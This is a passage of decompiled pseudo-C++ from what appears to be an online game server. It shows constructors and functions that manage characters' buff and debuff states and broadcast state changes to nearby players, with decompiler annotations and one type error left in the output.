*)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BUCKLER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_REBIRTH.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_VIOLENCE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_VIOLENCE.astr_Tick); v1->asl_VIOLENCE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DODGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HORRORFORCESTR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_REVERSEORDER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PANICFORCEMR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CROSSCASTINGCOOLTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SACRIFICE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWCMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINESHIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUTMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HITPROTECTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_RESTORE.astr_Tick); v1->asl_RESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DARKNESSPROTECTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PSYCHICCHOPBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_PSYCHICCHOPBLOOD.astr_Tick); v1->asl_PSYCHICCHOPBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PSYCHICBLUNTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SAFEPROTECTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSINGMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BREAK.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHOCKBLADESTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BERSEKERFRENZY.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HARMDEFECT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPEEDSHIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MORALEDECREASEWC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOULMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BATTLEBLOWSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_REDSLASH.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_REDSLASH.astr_Tick); v1->asl_REDSLASH.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SEVERBONE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; } // 596720: using guessed type int (*AbnormalStateContainer__AbnormalStateElement___vftable_)(); // 596828: using guessed type int (*AbnormalStateContainer__AbnormalStateTickRoutine___vftable_)(); // 596C30: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (00403930) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(AbnormalStateContainer::AbnormalStatePartyEnchant *this, int sub, char *substate) { AbnormalStateContainer::AbnormalStatePartyEnchant *v3; // esi@1 int v4; // eax@1 char result; // al@2 int v6; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = BTree::operator__(&unk_608624, substate); if ( v4 == -1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); result = 0; } else { v4 = (unsigned __int16)v4; if ( unk_608004 >= (unsigned int)(unsigned __int16)v4 ) { v6 = unk_607FFC + 728 * v4; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v4); v6 = 0; } v3->aspe_SkillIndex[sub] = (AbnormalStateDictionary::AbState::AbStateStr *)v6; if ( v6 ) { v3->aspe_Soul[sub] = *(_DWORD *)(*(_DWORD *)v6 + 34); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); result = 0; } } return result; } //----- (00403A70) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, char *substate) { AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *v2; // esi@1 int v3; // eax@1 char result; // al@2 int v5; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = BTree::operator__(&unk_608624, substate); if ( v3 == -1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); result = 0; } else { v3 = (unsigned __int16)v3; if ( unk_608004 >= (unsigned int)(unsigned __int16)v3 ) { v5 = unk_607FFC + 728 * v3; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v3); v5 = 0; } v2->asgame_SkillIndex = (AbnormalStateDictionary::AbState::AbStateStr *)v5; if ( v5 ) { v2->asgame_Soul = *(_DWORD *)(*(_DWORD *)v5 + 34); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); result = 0; } } return result; } //----- (00403BB0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant(AbnormalStateContainer::AbnormalStateElement *this, #331 *me) { AbnormalStateContainer::AbnormalStateElement *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( me && *((_DWORD *)&abstateidentarray + 3 * v2->ase_index) ) (*(void (__stdcall **)(_DWORD))(**((_DWORD **)&abstateidentarray + 3 * v2->ase_index) + 36))(me); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant"); } //----- (00403C70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime(#331 *this, int a2, AbnormalStateInfo::ABSTATEINDEX dam) { void *v3; // esi@1 unsigned int v4; // eax@1 int v5; // edi@1 int v6; // eax@1 char *v7; // edi@1 int v8; // ST04_4@1 int v9; // eax@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@1 int v11; // [sp+24h] [bp-4h]@1 __int16 abs; // [sp+34h] [bp+Ch]@0 v3 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v4 = SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_HPSPRECOVERYRATE); (*(void (__thiscall **)(void *, unsigned int))(*(_DWORD *)v3 + 1232))( v3, (unsigned int)(dam * v4 * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1556))(v3); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1236))(v3) - v5; v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9276; *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v7 + 1) = v6; *((_WORD *)v7 + 4) = 0; *((_WORD *)v7 + 5) = abs; *((_WORD *)v7 + 6) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1932))(v3); v7[14] = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 15); v8 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v11) = 1; v9 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v9, v8, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v11) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime"); } // 403C70: inconsistent function type and number of purged bytes //----- (00403DC0) -------------------------------------------------------- #error "403DC0: undefined or illegal type '#331' (funcsize=40)" //----- (00403E80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(void *this, int abstate, int keeptime, int strength) { void *v4; // esi@1 char *v5; // eax@1 __int16 v6; // dx@1 int v7; // ST04_4@1 int v8; // eax@1 char *v9; // eax@1 int v10; // ST04_4@1 int v11; // eax@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@1 int v13; // [sp+20h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9255; v6 = *((_WORD *)v4 + 2); v13 = 0; *((_WORD *)v5 + 1) = v6; *((_DWORD *)v5 + 1) = abstate; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v7 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v13) = 1; v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v8, v7, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 7192; *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v9 + 2) = keeptime; *((_DWORD *)v9 + 1) = abstate; *((_DWORD *)v9 + 3) = strength; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 16); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v13) = 2; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v13 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet"); } //----- (00403FE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(void *this, int abstate) { void *v2; // esi@1 char *v3; // eax@1 __int16 v4; // dx@1 int v5; // ST04_4@1 int v6; // eax@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9256; v4 = *((_WORD *)v2 + 2); *((_DWORD *)v3 + 1) = abstate; v8 = 0; *((_WORD *)v3 + 1) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v5 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v8) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v6, v5, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset"); } //----- (004040E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Inform(void *this, int abstate, int keeptime, char effect) { void *v4; // esi@1 char *v5; // eax@1 int v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = (42 - (effect != 0)) & 0x3FF | 0x2400; *(_DWORD *)(v5 + 6) = keeptime; *(_DWORD *)(v5 + 2) = abstate; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform"); } //----- (004041E0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::ActorCluster::ActorCluster(AbnormalStateContainer::ActorCluster *this) { AbnormalStateContainer::ActorCluster *v1; // esi@1 char *v2; // ebx@1 int v3; // edi@1 v1 = this; this->ac_DefaultSubStateActor.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MENPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DAMAGESHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorShield::_vftable_; this->ac_MANASHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorManaShield::_vftable_; this->ac_SHIELDACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MOVESPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ATKSPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_ENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_MAXSPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_DEADHPSPRECOVRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::_vftable_; this->ac_SELFREVIVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorSelfRevive::_vftable_; this->ac_RANGESHIELDCOUNTER.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::_vftable_; this->ac_HIDE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLIND.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEADLYBLESSING.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DOTDAMAGE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_FEAR.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateFear::_vftable_; this->AC_CAPTIVATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateCaptivate::_vftable_; this->ac_CONHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorHPHeal::_vftable_; this->ac_CASTINGTIMEPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorCastDelay::_vftable_; this->ac_COOLTIMEREMOVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::_vftable_; this->ac_MAGICATTACKNOUSE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorSilence::_vftable_; this->ac_POISON.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_DISEASE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorDisease::_vftable_; this->ac_CURSE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_REGIST.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CRITICALRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl 